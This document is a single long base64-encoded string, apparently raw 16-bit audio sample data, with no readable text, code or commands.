AQABgAHAAYAAgABAAEAAAAFAAgAAQAAAP///P/5//v/AwACAP7/+//+//7//f/5//r/+//7//3//P/6//z/+//5//z/+//5//n/9//4//j/9v/3//j//v8AAPv////9//r/+P/3//j/+f/4//n/+P/8////AAAAAAAA/f/+/wEAAgAAAP///v/+/wAAAAABAAEAAQACAAAAAQACAAAAAAAAAAAAAAAAAAEAAgACAAQABQADAAMA/f/+////AAAFAAMAAQACAAQAAgABAAAAAgACAAEABAD/////AAABAAQAAwACAAIABAAJAAgABwAGAAMAAAABAAMAAwAEAAQABgAEAAAABwAIAAcACQAGAAQABQAEAAQABgABAPz//v///wAAAAACAAIAAAAAAAEAAgACAAAAAAAAAPz////6//v/AAD+//v//v////z//v/7//j/+f/8//3/AAABAP///P/4//r//P////7/AAACAAEAAQABAAAA/f/8////AAAEAAIA//8AAAEABQACAP//AQABAAAAAQD9///////+/wAAAAAAAAEADAAJAAYAAwABAAEABQAEAP//AQD9//7/AQACAAQAAgACAAEAAgADAAMABQADAAEAAQACAAEAAgADAAUABgAIAAYABwAIAAYABwAGAAMABAAEAAAAAQABAAAAAgAAAP7///8AAAAAAAD8//v//P/8//j/9f/4//v/+v/4//b/+P/8//f/9//4//r/+f/7//z//f/9//z/+//9//3//f/7//b/9//1//P/+v/8//3/+//9/////f8AAAAAAAD//wAAAAAAAAIABAADAAEA////////AAD///7/AQAAAP3/AQAJAAYABwAEAAIABAACAAAAAAAAAAIABQAEAAIAAwAFAAkABQADAAUABQADAAQABwAIAAkABgAEAAIAAwACAAEAAwAEAAYAAwADAAMAAgAHAAMAAwAHAAYABwAFAAUABgABAAAAAgAAAAMAAAAAAAEAAAD///7/+//8//v/+/8AAAAA/v/8//f/9v/3//v//P/9//7//f/8//r//P/9//7//f/8//v//P/9//v//P/+//7//v/8//3/+//8/wAA///////////6//v/+//9//7//f/8//n/AAADAAYAAwACAAMAAgADAAUABAAEAAIAAAACAAIA/v8AAAEAAQAEAAYAAwAEAAgABwAGAAUABAAEAAQABQAFAAUABQADAAEAAwD+/wIABQADAAUAAwADAAIAAwAGAAMABAAFAAEAAAAAAAEAAwABAAIAAwABAP///////wAAAwAAAAAAAgAAAP7//P/+////AAADAAAA/v/+//////8AAAAA//8CAAAA//8AAAEAAQAAAAEA/v/+/wAAAgD///7////+//7///8AAP//AQD///7/AAD+//z//v8AAAEAAAABAAIAAQAAAAEAAgD///3/AAABAAAAAQAFAAQA/////wAAAQAAAAEAAAD//wEAAwADAAkACQAJAAgABQAEAAMACAAFAAMABQAHAAgABwAHAAUABAAFAAYAAwAAAAEAAgAAAAEAAQAAAP//AAAAAP//AAABAAEAAgAGAAIA//////z//P/9//z//f/8//z//v/7//v//f/+///////7//z//P/7//z/AAD+//r/+//7//3/AAD//////f/9//7/+P/2//b/+f/3//b/9v/5//z//f/8//7//v/7//v//f/+//3//P/8//3//P/7//n/9//4//z///8AAAAA/f/6//T/9//4//j//P/8//z//f8AAAMAAQAAAP////8AAP//AAAAAAEABQAFAAMAAQAAAAIAAwAEAAQAAAABAAAAAwACAAAAAgAAAAIABgAEAAYABwAFAAQAAgAAAAAA/v/9//7///8AAAAAAgACAP//AAADAAUABwAFAAMABwAHAAQABQADAAMABQACAAIAAAD9//////8BAP/////+//7////9//7//f/9/wAAAAAAAP7//v/8//z//f/+////AAACAAIAAAD+//v/+f/1//n//f/4//z/AQAEAAMABAAFAAMAAwAEAAQABAAEAAMABgAGAAMAAQADAAEAAQD///z/+v/9/wUADQAXACoAQgBOAE0APgArABgADAAEAAMABQD///n/9f/v/+z/6v/n/+X/2P/R/83/y//P/9X/2v/d/+b/7P/w//n/+v/3//j/+P/3//X/9P/0//T/9v/6//3/AwALAA8AEAAQAA8ACwAFAAAAAwADAAIABAAIAAoACwALAAkABwAHAAcACQAIAAgAAwAAAP3//v////3//f8AAAYACgAMAAgAAQD5//H/+v////r/+v/6//j/9v/2//v//P8CAAYABAAEAAIAAwAJA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